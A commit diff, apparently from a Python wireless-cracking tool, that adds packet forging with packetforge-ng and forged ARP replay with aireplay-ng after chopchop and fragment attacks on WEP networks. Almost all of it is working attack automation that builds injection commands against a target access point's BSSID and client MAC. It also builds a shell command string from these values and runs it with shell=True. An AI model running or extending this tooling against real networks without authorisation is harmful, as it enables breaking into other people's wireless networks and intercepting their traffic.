Packetforge and arpreplay for chopchop/fragment attacks
Confirmed chopchop forges packet and replays as expected.
This commit is contained in:
@@ -3,6 +3,8 @@
|
|||||||
from Configuration import Configuration
|
from Configuration import Configuration
|
||||||
from Process import Process
|
from Process import Process
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
class WEPAttackType(object):
|
class WEPAttackType(object):
|
||||||
''' Enumeration of different WEP attack types '''
|
''' Enumeration of different WEP attack types '''
|
||||||
fakeauth = 0
|
fakeauth = 0
|
||||||
@@ -12,6 +14,7 @@ class WEPAttackType(object):
|
|||||||
caffelatte = 4
|
caffelatte = 4
|
||||||
p0841 = 5
|
p0841 = 5
|
||||||
hirte = 6
|
hirte = 6
|
||||||
|
forgedreplay = 7
|
||||||
|
|
||||||
def __init__(self, var):
|
def __init__(self, var):
|
||||||
'''
|
'''
|
||||||
@@ -49,7 +52,7 @@ class WEPAttackType(object):
|
|||||||
|
|
||||||
|
|
||||||
class Aireplay(object):
|
class Aireplay(object):
|
||||||
def __init__(self, target, attack_type, client_mac=None):
|
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
|
||||||
'''
|
'''
|
||||||
Starts aireplay process.
|
Starts aireplay process.
|
||||||
Args:
|
Args:
|
||||||
@@ -57,8 +60,24 @@ class Aireplay(object):
|
|||||||
attack_type - int, str, or WEPAttackType instance.
|
attack_type - int, str, or WEPAttackType instance.
|
||||||
client_mac - MAC address of an associated client.
|
client_mac - MAC address of an associated client.
|
||||||
'''
|
'''
|
||||||
cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac)
|
cmd = Aireplay.get_aireplay_command(target,
|
||||||
self.pid = Process(cmd, devnull=False)
|
attack_type,
|
||||||
|
client_mac=client_mac,
|
||||||
|
replay_file=replay_file)
|
||||||
|
|
||||||
|
# TODO: set 'stdout' when creating process to store output to file.
|
||||||
|
# AttackWEP will read file to get status of attack.
|
||||||
|
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
|
||||||
|
'''
|
||||||
|
from subprocess import PIPE
|
||||||
|
sout = PIPE
|
||||||
|
if '--chopchop' in cmd:
|
||||||
|
sout = open(Configuration.temp('chopchop'), 'w')
|
||||||
|
'''
|
||||||
|
|
||||||
|
self.pid = Process(cmd,
|
||||||
|
devnull=False,
|
||||||
|
cwd=Configuration.temp())
|
||||||
|
|
||||||
def is_running(self):
|
def is_running(self):
|
||||||
return self.pid.poll() == None
|
return self.pid.poll() == None
|
||||||
@@ -73,13 +92,15 @@ class Aireplay(object):
|
|||||||
return self.pid.stdout()
|
return self.pid.stdout()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_aireplay_command(target, attack_type, client_mac=None):
|
def get_aireplay_command(target, attack_type,
|
||||||
|
client_mac=None, replay_file=None):
|
||||||
'''
|
'''
|
||||||
Generates aireplay command based on target and attack type
|
Generates aireplay command based on target and attack type
|
||||||
Args:
|
Args:
|
||||||
target - Instance of Target object, AP to attack.
|
target - Instance of Target object, AP to attack.
|
||||||
attack_type - int, str, or WEPAttackType instance.
|
attack_type - int, str, or WEPAttackType instance.
|
||||||
client_mac - MAC address of an associated client.
|
client_mac - MAC address of an associated client.
|
||||||
|
replay_file - .Cap file to replay via --arpreplay
|
||||||
'''
|
'''
|
||||||
|
|
||||||
# Interface is required at this point
|
# Interface is required at this point
|
||||||
@@ -156,17 +177,60 @@ class Aireplay(object):
|
|||||||
raise Exception("Client is required for hirte attack")
|
raise Exception("Client is required for hirte attack")
|
||||||
cmd.append('--cfrag')
|
cmd.append('--cfrag')
|
||||||
cmd.extend(['-h', client_mac])
|
cmd.extend(['-h', client_mac])
|
||||||
|
elif attack_type == WEPAttackType.forgedreplay:
|
||||||
|
if client_mac == None or replay_file == None:
|
||||||
|
raise Exception(
|
||||||
|
"Client_mac and Replay_File are required for arp replay")
|
||||||
|
cmd.append('--arpreplay')
|
||||||
|
cmd.extend(['-b', target.bssid])
|
||||||
|
cmd.extend(['-r', replay_file])
|
||||||
|
cmd.extend(['-F']) # Automatically choose first packet
|
||||||
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||||
else:
|
else:
|
||||||
raise Exception("Unexpected attack type: %s" % attack_type)
|
raise Exception("Unexpected attack type: %s" % attack_type)
|
||||||
|
|
||||||
cmd.append(Configuration.interface)
|
cmd.append(Configuration.interface)
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_xor():
|
||||||
|
''' Finds the last .xor file in the directory '''
|
||||||
|
xor = None
|
||||||
|
for fil in os.listdir(Configuration.temp()):
|
||||||
|
if fil.startswith('replay_') and fil.endswith('.xor'):
|
||||||
|
xor = fil
|
||||||
|
return xor
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def forge_packet(xor_file, bssid, station_mac):
|
||||||
|
''' Forges packet from .xor file '''
|
||||||
|
forged_file = 'forged.cap'
|
||||||
|
cmd = [
|
||||||
|
'packetforge-ng',
|
||||||
|
'-0',
|
||||||
|
'-a', bssid, # Target MAC
|
||||||
|
'-h', station_mac, # Client MAC
|
||||||
|
'-k', '192.168.1.2', # Dest IP
|
||||||
|
'-l', '192.168.1.100', # Source IP
|
||||||
|
'-y', xor_file, # Read PRNG from .xor file
|
||||||
|
'-w', forged_file, # Write to
|
||||||
|
Configuration.interface
|
||||||
|
]
|
||||||
|
|
||||||
|
cmd = '"%s"' % '" "'.join(cmd)
|
||||||
|
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
|
||||||
|
if out.strip() == 'Wrote packet to: %s' % forged_file:
|
||||||
|
return forged_file
|
||||||
|
else:
|
||||||
|
from Color import Color
|
||||||
|
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
|
||||||
|
Color.pl('output:\n"%s"' % out)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
t = WEPAttackType(4)
|
t = WEPAttackType(4)
|
||||||
print t.name, type(t.name), t.value
|
print t.name, type(t.name), t.value
|
||||||
|
|
||||||
t = WEPAttackType('caffelatte')
|
t = WEPAttackType('caffelatte')
|
||||||
print t.name, type(t.name), t.value
|
print t.name, type(t.name), t.value
|
||||||
|
|
||||||
@@ -188,3 +252,9 @@ if __name__ == '__main__':
|
|||||||
print aireplay.get_output()
|
print aireplay.get_output()
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
'''
|
||||||
|
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
|
||||||
|
'A4:2B:8C:16:6B:3A', \
|
||||||
|
'00:C0:CA:4E:CA:E0')
|
||||||
|
print forge
|
||||||
|
'''
|
||||||
|
|||||||
@@ -58,10 +58,12 @@ class AttackWEP(Attack):
|
|||||||
# Convert to WEPAttackType.
|
# Convert to WEPAttackType.
|
||||||
wep_attack_type = WEPAttackType(attack_name)
|
wep_attack_type = WEPAttackType(attack_name)
|
||||||
|
|
||||||
|
replay_file = None
|
||||||
# Start Aireplay process.
|
# Start Aireplay process.
|
||||||
aireplay = Aireplay(self.target, \
|
aireplay = Aireplay(self.target, \
|
||||||
wep_attack_type, \
|
wep_attack_type, \
|
||||||
client_mac=client_mac)
|
client_mac=client_mac, \
|
||||||
|
replay_file=replay_file)
|
||||||
|
|
||||||
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
|
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
|
||||||
previous_ivs = 0
|
previous_ivs = 0
|
||||||
@@ -126,30 +128,54 @@ class AttackWEP(Attack):
|
|||||||
if not aireplay.is_running():
|
if not aireplay.is_running():
|
||||||
# Some Aireplay attacks loop infinitely
|
# Some Aireplay attacks loop infinitely
|
||||||
if attack_name == 'chopchop' or attack_name == 'fragment':
|
if attack_name == 'chopchop' or attack_name == 'fragment':
|
||||||
# We expect these to stop once a .xor is created
|
# We expect these to stop once a .xor is created,
|
||||||
# or if the process failed.
|
# or if the process failed.
|
||||||
|
|
||||||
# TODO: Check for .xor file.
|
replay_file = None
|
||||||
# If .xor is not there, the process failed. Check stdout.
|
|
||||||
# XXX: For debugging
|
|
||||||
Color.pl('\n%s stopped, output:' % attack_name)
|
|
||||||
Color.pl(aireplay.get_output())
|
|
||||||
continue # Continue to other attacks
|
|
||||||
|
|
||||||
# TODO: If .xor exists, run packetforge-ng to create .cap
|
# Check for .xor file.
|
||||||
# If packetforge created the replay .cap file,
|
xor_file = Aireplay.get_xor()
|
||||||
# 1. Change attack_name to 'forged arp replay'
|
if not xor_file:
|
||||||
# 2. Start Aireplay to replay the .cap file
|
# If .xor is not there, the process failed.
|
||||||
|
Color.pl('\n{!} {O}%s attack{R} did not generate' +
|
||||||
|
' a .xor file{W}' % attack_name)
|
||||||
|
# XXX: For debugging
|
||||||
|
Color.pl('\noutput:\n')
|
||||||
|
Color.pl(aireplay.get_output())
|
||||||
|
Color.pl('')
|
||||||
|
break
|
||||||
|
|
||||||
|
# If .xor exists, run packetforge-ng to create .cap
|
||||||
|
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
|
||||||
|
' generated a {C}.xor file{W}, {G}forging...{W}')
|
||||||
|
forge_file = Aireplay.forge_packet(xor_file,
|
||||||
|
airodump_target.bssid,
|
||||||
|
client_mac)
|
||||||
|
if forge_file:
|
||||||
|
replay_file = forge_file
|
||||||
|
Color.pl('{+} {C}forged packet{W},' +
|
||||||
|
' {G}replaying...{W}')
|
||||||
|
attack_name = 'forged arp replay'
|
||||||
|
aireplay = Aireplay(self.target, \
|
||||||
|
'forgedreplay', \
|
||||||
|
client_mac=client_mac, \
|
||||||
|
replay_file=replay_file)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
# Failed to forge packet. drop out
|
||||||
|
break
|
||||||
else:
|
else:
|
||||||
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
||||||
Color.pl('\naireplay.get_output():')
|
Color.pl('\naireplay.get_output():')
|
||||||
Color.pl(aireplay.get_output())
|
Color.pl(aireplay.get_output())
|
||||||
continue # Continue to other attacks
|
break # Continue to other attacks
|
||||||
|
|
||||||
# Check if IVs stopped flowing (same for > N seconds)
|
# Check if IVs stopped flowing (same for > N seconds)
|
||||||
if airodump_target.ivs > previous_ivs:
|
if airodump_target.ivs > previous_ivs:
|
||||||
time_unchanged_ivs = time.time()
|
time_unchanged_ivs = time.time()
|
||||||
elif Configuration.wep_restart_stale_ivs > 0:
|
elif Configuration.wep_restart_stale_ivs > 0 and \
|
||||||
|
attack_name != 'chopchop' and \
|
||||||
|
attack_name != 'fragment':
|
||||||
stale_seconds = time.time() - time_unchanged_ivs
|
stale_seconds = time.time() - time_unchanged_ivs
|
||||||
if stale_seconds > Configuration.wep_restart_stale_ivs:
|
if stale_seconds > Configuration.wep_restart_stale_ivs:
|
||||||
# No new IVs within threshold, restart aireplay
|
# No new IVs within threshold, restart aireplay
|
||||||
|
|||||||
@@ -126,7 +126,7 @@ class Configuration(object):
|
|||||||
Configuration.wep_timeout = args.wep_timeout
|
Configuration.wep_timeout = args.wep_timeout
|
||||||
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
|
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
|
||||||
if args.require_fakeauth:
|
if args.require_fakeauth:
|
||||||
Configuration.require_fakeauth = False
|
Configuration.require_fakeauth = True
|
||||||
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
|
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
|
||||||
if args.wep_crack_at_ivs:
|
if args.wep_crack_at_ivs:
|
||||||
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
|
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
|
||||||
|
|||||||
@@ -12,17 +12,17 @@ class Process(object):
|
|||||||
return open('/dev/null', 'w')
|
return open('/dev/null', 'w')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def call(command):
|
def call(command, cwd=None,shell=False):
|
||||||
'''
|
'''
|
||||||
Calls a command (either string or list of args).
|
Calls a command (either string or list of args).
|
||||||
Returns tuple:
|
Returns tuple:
|
||||||
(stdout, stderr)
|
(stdout, stderr)
|
||||||
'''
|
'''
|
||||||
if type(command) != str or ' ' in command:
|
if type(command) != str or ' ' in command or shell:
|
||||||
shell = True
|
shell = True
|
||||||
else:
|
else:
|
||||||
shell = False
|
shell = False
|
||||||
pid = Popen(command, stdout=PIPE, stderr=PIPE, shell=shell)
|
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
|
||||||
pid.wait()
|
pid.wait()
|
||||||
return pid.communicate()
|
return pid.communicate()
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ class Process(object):
|
|||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE):
|
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None):
|
||||||
''' Starts executing command '''
|
''' Starts executing command '''
|
||||||
|
|
||||||
if type(command) == str:
|
if type(command) == str:
|
||||||
@@ -55,7 +55,7 @@ class Process(object):
|
|||||||
|
|
||||||
self.start_time = time.time()
|
self.start_time = time.time()
|
||||||
|
|
||||||
self.pid = Popen(command, stdout=sout, stderr=serr)
|
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd)
|
||||||
|
|
||||||
def __del__(self):
|
def __del__(self):
|
||||||
'''
|
'''
|
||||||
|
|||||||
Reference in New Issue
Block a user